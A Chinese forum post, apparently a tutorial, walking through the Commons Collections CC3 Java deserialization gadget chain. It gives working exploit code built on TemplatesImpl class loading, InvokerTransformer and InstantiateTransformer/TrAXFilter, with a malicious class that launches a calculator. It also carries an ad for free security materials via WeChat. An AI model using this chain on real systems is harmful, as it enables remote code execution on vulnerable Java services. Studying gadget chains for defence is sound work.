CC1打不通时的另外一条链CC3

打印 上一主题 下一主题

主题 903|帖子 903|积分 2709

在CC1和CC6中,我们最终弹计算器都是通过Runtime.exec进行调用,从CC3我们要介绍一种不通过Runtime来弹计算器的方法,也就是Java中常提到的动态类加载,动态类加载可以让我们通过一个路径来加载一个恶意类,如果这个恶意类在静态代码块或构造代码块中写入了恶意方法,那么我们就可以通过找一条链子来初始化这个类(一般在进行实例化时会对类进行初始化),从而达到代码块中的代码执行。
ClassLoader中的defineClass最终实现了类的动态加载(后面还有一些过程但已经是依靠c来实现的了),在ClassLoader中可以看到一堆defineClass,我们查找用法,看一下哪个defineClass在别处被调用了,而且权限最好是default或者public,方便我们利用,最终锁定下面这个:
  1. protected final Class<?> defineClass(String name, byte[] b, int off, int len)
  2.        throws ClassFormatError
复制代码
这个defineClass被调用的点在com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl.TransletClassLoader下,也是一个defineClass:
[img=720,180.36511156186612]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302161114974.png[/img]
这个defineClass又在当前类中被defineTransletClasses调用:
[img=720,115.67723342939482]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302161115850.png[/img]
defineTransletClasses同类下有三个被调用点,我们看一下哪个方法可以被我们利用:
[img=720,236.55030800821356]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302161115725.png[/img]
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
第一个返回_class:
  1. private synchronized Class[] getTransletClasses() {
  2.        try {
  3.            if (_class == null) defineTransletClasses();
  4.        }
  5.        catch (TransformerConfigurationException e) {
  6.            // Falls through
  7.        }
  8.        return _class;
  9.    }
复制代码
第二个返回了_class的下标:
  1. public synchronized int getTransletIndex() {
  2.        try {
  3.            if (_class == null) defineTransletClasses();
  4.        }
  5.        catch (TransformerConfigurationException e) {
  6.            // Falls through
  7.        }
  8.        return _transletIndex;
  9.    }
复制代码
第三个方法我们主要看newInstance这里,这个_class[_transletIndex]可控(通过上面找到的defineTransletClasses动态加载进来),如果我们让_class为我们所构造的恶意类并让它newInstance,那么就可以执行恶意类中的静态/构造代码块中的代码,所以我们接着找这个方法的调用点:
  1. private Translet getTransletInstance()
  2.        throws TransformerConfigurationException {
  3.        try {
  4.            if (_name == null) return null;
  5.            if (_class == null) defineTransletClasses();
  6.            // The translet needs to keep a reference to all its auxiliary
  7.            // class to prevent the GC from collecting them
  8.            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
复制代码
下一调用点还是在这个类中,我们找到newTransformer()这个方法:
  1. public synchronized Transformer newTransformer()
  2.        throws TransformerConfigurationException
  3.    {
  4.        TransformerImpl transformer;
  5.        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
  6.            _indentNumber, _tfactory);
复制代码
我们来梳理一下到目前的调用链,很短也很方便:
[img=720,194.41860465116278]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302161115473.png[/img]
我们先将payload写出来:
  1. TemplatesImpl templatesimpl = new TemplatesImpl();
  2.        templatesimpl.newTransformer();
复制代码
写完啦 下班!(开个玩笑)逻辑上来说这两行代码确实是完整的调用链,我们接下来要做的就是对类内部的各种属性进行赋值:
newTransformer内不需要进行赋值操作,跟进到getTransletInstance中 ,类内没有对name和class进行赋值,如果想要触发defineTransletClasses()我们就需要让name不为空,class为空,直接不给_class赋值即可:
  1. if (_name == null) return null;
  2. if (_class == null) defineTransletClasses();
复制代码
继续跟进到defineTransletClasses中 ,如果想要走到下面动态加载class,我们这里要注意对tfactory进行赋值,否则对一个空属性调用方法,会爆空指针异常:
  1. return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
复制代码
上一步之后我们在对class赋值这里可以看到是通过修改_bytecodes从而控制class的值:
  1. for (int i = 0; i < classCount; i++) {
  2.                _class[i] = loader.defineClass(_bytecodes[i]);
复制代码
一共三个需要修改的值,TemplatesImpl类是可序列化的,所以我们可以直接通过反射修改这些值,看一下这几个值的类型:
  1. private String _name = null;
  2. private byte[][] _bytecodes = null;
  3. private transient TransformerFactoryImpl _tfactory = null;
复制代码
都是private属性,所以要用setAccessible 来修改访问权限,name是String类型,所以直接赋个字符串就行:
  1.                 Class tmp = templatesimpl.getClass();
  2.        Field nameField = tmp.getDeclaredField("_name");
  3.        nameField.setAccessible(true);
  4.        nameField.set(templatesimpl,"y1");
复制代码
再看_bytecodes,一个二维数组,但我们在给_class赋值时defineClass接受的却是一个一维数组:
  1. for (int i = 0; i < classCount; i++) {
  2.                _class[i] = loader.defineClass(_bytecodes[i]);​Class defineClass(final byte[] b) {            return defineClass(null, b, 0, b.length);
复制代码
所以我们给_bytecodes 赋值时可以将defineClass接收的一维数组放进_bytecodes这个二维数组中,这样在进行for循环遍历时就可以将这个一维数组遍历出来并传给defineClass,这个class需要我们在写好java源码后手动编译为class文件,最好把这个class文件复制到电脑上的别的地方再在这里使用(编译后的class文件一般在target下):
  1. Field bytecodesField = tmp.getDeclaredField("_bytecodes");
  2.        bytecodesField.setAccessible(true);
  3.        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
  4.        byte[][] codes = {code};
  5.        bytecodesField.set(templatesimpl,codes);
复制代码
  1. Test.class
  2. public class Calc {
  3.    static{
  4.        try {
  5.            Runtime.getRuntime().exec("open -na Calculator"); //这里是mac弹计算器的命令
  6.        } catch (IOException e) {                             //win下还是calc
  7.            throw new RuntimeException(e);
  8.        }
  9.    }
  10. }
复制代码
然后我们再来改_tfactory的值:
这里要注意一下,被transient关键字修饰的属性是不参与序列化的,也就是说就算我们通过反射修改了它的值,反序列化后的二进制流这个属性的值也依旧是null,所以这里我们要用其他的方式赋值
  1. private transient TransformerFactoryImpl _tfactory = null;
复制代码
我们在readObject中发现有对这些属性进行赋值的操作,_tfactory的值是一个TransformerFactoryImpl实例:
  1. _name = (String)gf.get("_name", null);
  2.   //以下几行代码对序列化流中的属性读取它们的值,如果读不到值那么将它的值设为默认值(第二个参数)    
  3.               _bytecodes = (byte[][])gf.get("_bytecodes", null);
  4.        _class = (Class[])gf.get("_class", null);
  5.        _transletIndex = gf.get("_transletIndex", -1);
  6.        _outputProperties = (Properties)gf.get("_outputProperties", null);
  7.        _indentNumber = gf.get("_indentNumber", 0);
  8.        if (is.readBoolean()) {
  9.            _uriResolver = (URIResolver) is.readObject();
  10.        }
  11.        _tfactory = new TransformerFactoryImpl();
  12.    }
复制代码
我们先不进行序列化和反序列化,我们先用反射修改_tfactory的值,看看能不能弹计算器(这里我们并没有进行序列化和反序列化,所以其实就是用反射修改了个值,所以是可以修改成功的):
  1. TemplatesImpl templatesimpl = new TemplatesImpl();        Class tmp = templatesimpl.getClass();​        Field nameField = tmp.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templatesimpl,"y1");​        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
  2.        bytecodesField.setAccessible(true);
  3.        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
  4.        byte[][] codes = {code};
  5.        bytecodesField.set(templatesimpl,codes);​        Field tfactoryfield = tmp.getDeclaredField("_tfactory");        tfactoryfield.setAccessible(true);        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());        templatesimpl.newTransformer();
复制代码
 
没有弹出来计算器,爆了空指针异常,通过调试发现在_class成功加载类后,是这里抛出了异常:
  1. final Class superClass = _class[i].getSuperclass();
  2. if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
  3.                    _transletIndex = i;
  4.                }
  5.                else {
  6.                    _auxClasses.put(_class[i].getName(), _class[i]);
  7.                }
  8.            }
  9.            if (_transletIndex < 0) {
  10.                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
  11.                throw new TransformerConfigurationException(err.toString());
  12.            }
复制代码
第一个if检查class的父类是否叫ABSTRACT_TRANSLET ,如果没有进入到if里面那么else中的auxClasses为空,就会抛空指针,并且下面第二个if中也会抛异常,为了避免这两个抛异常的点,我们需要将_class加载的恶意类继承名为ABSTRACT_TRANSLET 的父类:
  1. private static String ABSTRACT_TRANSLET
  2.        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
复制代码
修改恶意类,继承的父类中有两个抽象方法需要进行重写:
  1. public class Calc extends AbstractTranslet{
  2.    static{
  3.        try {
  4.            Runtime.getRuntime().exec("open -na Calculator");
  5.        } catch (IOException e) {
  6.            throw new RuntimeException(e);
  7.        }
  8.    }
  9.    @Override
  10.    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  11.    }
  12.    @Override
  13.    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  14.        
  15.    }
  16. }
复制代码
现在就可以弹出计算器了,如果你这里没有弹出来,看一下import的包是不是有问题,TemplatesImpl和TransformerFactoryImpl的路径一定要是com.xxx,如果是org.xxx是不能用的:
  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;​public class CC3Test {    public static void main(String[] args) throws Exception{        TemplatesImpl templatesimpl = new TemplatesImpl();        Class tmp = templatesimpl.getClass();​        Field nameField = tmp.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templatesimpl,"y1");​        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
  2.        bytecodesField.setAccessible(true);
  3.        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
  4.        byte[][] codes = {code};
  5.        bytecodesField.set(templatesimpl,codes);​        Field tfactoryfield = tmp.getDeclaredField("_tfactory");        tfactoryfield.setAccessible(true);        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());        templatesimpl.newTransformer();​    }}
复制代码
下面我们要想办法执行templatesimpl.newTransformer,这里依旧是用CC1中用到的InvokerTransformer.transform进行代码的执行:
  1. TemplatesImpl templatesimpl = new TemplatesImpl();        Class tmp = templatesimpl.getClass();​        Field nameField = tmp.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templatesimpl,"y1");​        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
  2.        bytecodesField.setAccessible(true);
  3.        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
  4.        byte[][] codes = {code};
  5.        bytecodesField.set(templatesimpl,codes);​        Field tfactoryfield = tmp.getDeclaredField("_tfactory");        tfactoryfield.setAccessible(true);        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());        ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{            new ConstantTransformer(templatesimpl),            new InvokerTransformer("newTransformer",null,null)        });        ctf.transform(1);
复制代码
剩下的找Chainedtransformer.transform 的调用点就和CC1后面一样了,直接粘过来就是:
  1. package ysoserial.payloads.Test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;​import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;​import static ysoserial.payloads.util.Test.util.Serialize.serialize;import static ysoserial.payloads.util.Test.util.Unserialize.unserialize;​public class CC3Test {    public static void main(String[] args) throws Exception{        TemplatesImpl templatesimpl = new TemplatesImpl();        Class tmp = templatesimpl.getClass();​        Field nameField = tmp.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templatesimpl,"y1");​        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
  2.        bytecodesField.setAccessible(true);
  3.        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
  4.        byte[][] codes = {code};
  5.        bytecodesField.set(templatesimpl,codes);​        Field tfactoryfield = tmp.getDeclaredField("_tfactory");        tfactoryfield.setAccessible(true);        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());        ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{            new ConstantTransformer(templatesimpl),            new InvokerTransformer("newTransformer",null,null)        });        HashMap map = new HashMap();        map.put("value","v");        Map transformedMap = TransformedMap.decorate(map,null,ctf);        Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);        annotationInvocationHandlerconstructor.setAccessible(true);        Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);        serialize(o);        unserialize("ser.bin");​    }}
复制代码
相较于CC1来说一个是通过调用Runtime来进行命令执行,一个是通过动态类加载进行代码执行,如果过滤了Runtime我们就可以尝试用这条CC3
接下来我们在来说ysoserial上用的另一条调用链:
我们回到newTransformer,刚才说的是用CC1后半段直接调用,我们接着向下找调用newTransformer 的地方,最终锁定在了com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java 这个类上,这个类没有继承serialize接口,也就是说我们没办法通过反射来修改实例中属性的值,但是我们想到对属性值进行初始化的操作一般在构造函数中,我们来看一下它的构造函数:
  1. public TrAXFilter(Templates templates)  throws
  2.        TransformerConfigurationException
  3.    {
  4.        _templates = templates;
  5.        _transformer = (TransformerImpl) templates.newTransformer();
  6.        _transformerHandler = new TransformerHandlerImpl(_transformer);
  7.        _useServicesMechanism = _transformer.useServicesMechnism();
  8.    }
复制代码
我们可以通过这个构造函数来控制这个templates的值,所以下一步就是要找可以调用这个构造函数的地方,ysoserial中给出了InstantiateTransformer 这个类,通过它的构造函数和transform方法可以调用一个对象的指定参数的构造函数:
  1. public InstantiateTransformer(Class[] paramTypes, Object[] args) {
  2.        this.iParamTypes = paramTypes;
  3.        this.iArgs = args;
  4.    }
  5. public Object transform(Object input) {
  6.        try {
  7.            if (!(input instanceof Class)) {
  8.                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
  9.            } else {
  10.                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
  11.                return con.newInstance(this.iArgs);
  12.            }
复制代码
也就是说下面两行代码就可以执行newTransformer了:
  1. InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
  2. instantiateTransformer.transform(TrAXFilter.class);
复制代码
最终还是用ChainedTransformer包裹起来执行:
  1. TemplatesImpl templatesimpl = new TemplatesImpl();        Class tmp = templatesimpl.getClass();​        Field nameField = tmp.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templatesimpl,"y1");​        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
  2.        bytecodesField.setAccessible(true);
  3.        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
  4.        byte[][] codes = {code};
  5.        bytecodesField.set(templatesimpl,codes);​        Field tfactoryfield = tmp.getDeclaredField("_tfactory");        tfactoryfield.setAccessible(true);        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());​        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});        ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{            new ConstantTransformer(TrAXFilter.class),            instantiateTransformer        });        HashMap map = new HashMap();        map.put("value","v");        Map transformedMap = TransformedMap.decorate(map,null,ctf);        Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);        annotationInvocationHandlerconstructor.setAccessible(true);        Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);        serialize(o);        unserialize("ser.bin");
复制代码
完整的CC6调用链,当InvokerTransformer被ban时就可以用这条链:
[img=720,295.7268292682927]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302161115138.png[/img]
更多靶场实验练习、网安学习资料,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

滴水恩情

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表